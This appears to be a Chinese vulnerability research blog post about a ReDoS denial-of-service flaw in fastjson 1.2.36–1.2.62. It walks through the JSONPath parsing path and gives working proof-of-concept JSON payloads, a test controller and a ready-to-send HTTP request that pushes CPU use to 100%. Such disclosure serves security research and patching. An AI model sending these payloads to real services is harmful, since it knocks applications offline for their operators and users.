朋友说最近fastjson又出新洞了,我就再研究了一遍fastjson,结果又找出来了一个拒绝服务漏洞,所以有了这篇文章。
漏洞范围: 1.2.36 - 1.2.62
首先导入1.2.62版本的fastjson
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency>
我最开始是从 JSONPath 这个类看起的,漏洞主要也出现在 JSONPath 类。
JSONPath 是一个用于通过表达式快速的获取 JSON 对象里的数据的类。
有点类似于 Xpath、CSS选择器这种东西。
举个例子
Object result = new JSONPath("$.root['item1']").eval("{/"root/":{/"item1/":/"blue/"}}"); //Object result = JSONPath.eval("{/"root/":{/"item1/":/"blue/"}}", "$.root['item1']"); /** result = blue **/
JSONPath#JSONPath(java.lang.String)
构造方法会将传进来的 path 赋给 this.path 属性。
跟进到 init 方法
跟进 JSONPath.JSONPathParser#explain
跟进 JSONPath.JSONPathParser#readSegement
这里当前读到的字符等于 [
就进入到 JSONPath.JSONPathParser#parseArrayAccess
JSONPath.Segment parseArrayAccess(boolean acceptBracket) { Object object = this.parseArrayAccessFilter(acceptBracket); return (JSONPath.Segment)(object instanceof JSONPath.Segment ? (JSONPath.Segment)object : new JSONPath.FilterSegment((JSONPath.Filter)object)); }
parseArrayAccess 先调用 parseArrayAccessFilter()
方法得到一个Segment对象,然后将它再实例化为FilterSegment对象。
JSONPath
第3117行处当读取到的操作符为 RLIKE 或 NOT_RLIKE 时就会返回一个 JSONPath.RlikeSegement 对象
propertyName 是操作符左边的值,name是操作符右边的值。
比如 [var rlike 'regex']
propertyName=var , name=regex
返回到 init()
方法 this.segments
最终得到了一个内嵌RlikeSegement对象的FilterSegment数组。
再跳回到最开始的 eval 方法,
当初始化完成后开始对 segments 数组遍历,调用它们的 eval(this, rootObject, currentObject)
方法
前面提到过,数组里有一个 FilterSegment
对象,所以应该跟进到 FilterSegment#eval
方法。
filter 是 RlikeSegement 对象,所以应跟到 JSONPath.RlikeSegement#apply
。
后面就是从 currentObject 中取 propertyName 然后和正则匹配。
漏洞就出现在这个地方,当正则表达式可控时,就会造成“REDOS”正则表达式拒绝服务。
Object eval = new JSONPath("[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']").eval("{/"blue/":/"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!/"}");
执行这一段代码你会发现在正则匹配的时候线程就阻塞在那儿不动了,并且还会耗费 CPU。
这样虽然可以让 Java 应用拒绝服务,但在大多数项目中很少能见到 JSONPath 可控的场景。
所以应该找到在解析 JSON 时的利用点。
先来看常见的解析 json 对象用的静态方法 JSON.parse
这里先用 DefaultJSONParser 类对整个 json 字符串进行了 JSON 对象的转化。
跳过一些无用步骤,直接到 DefaultJSONParser#parseObject
。
首先要让key等于 $ref
满足if条件。
然后让 $ref 的值不要等于 @ 和 .. 和 $ 就会进入 else 代码块调用 addResolveTask 方法,这个方法的作用就是给 this.resolveTaskList
集合添加一个ResolveTask对象。
再返回到 JSON#parse
,JSON解析部分结束
进入漏洞触发点 DefaultJSONParser#handleResovleTask
方法。
最终在 1508 行调用了 JSONPath.eval(value, ref);
触发漏洞。
我构造得到如下 POC 代码
{ "regex":{ "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" }, "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" }
另外除了 RlikeSegement 类以外还有一个 RegMatchSegement 类,同样存在REDOS漏洞,过程基本上一样所以直接放上POC。
{ "regex":{ "$ref":"$[/blue = //^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]" }, "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" }
我写了一个简单的 demo 用来测试是否能够将 java 应用拒绝服务。
/** * @author 浅蓝 * @email blue@ixsec.org * @since 2019/11/17 21:16 */ @RestController @RequestMapping() public class TestController { @RequestMapping("/parse") public String parse(String json){ Object parse = JSON.parse(json); return parse.toString(); } }
启动服务后我开启了 50 个线程同时向解析json的接口发起请求
POST /parse HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 126 json={"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
CPU 瞬间飙升 100%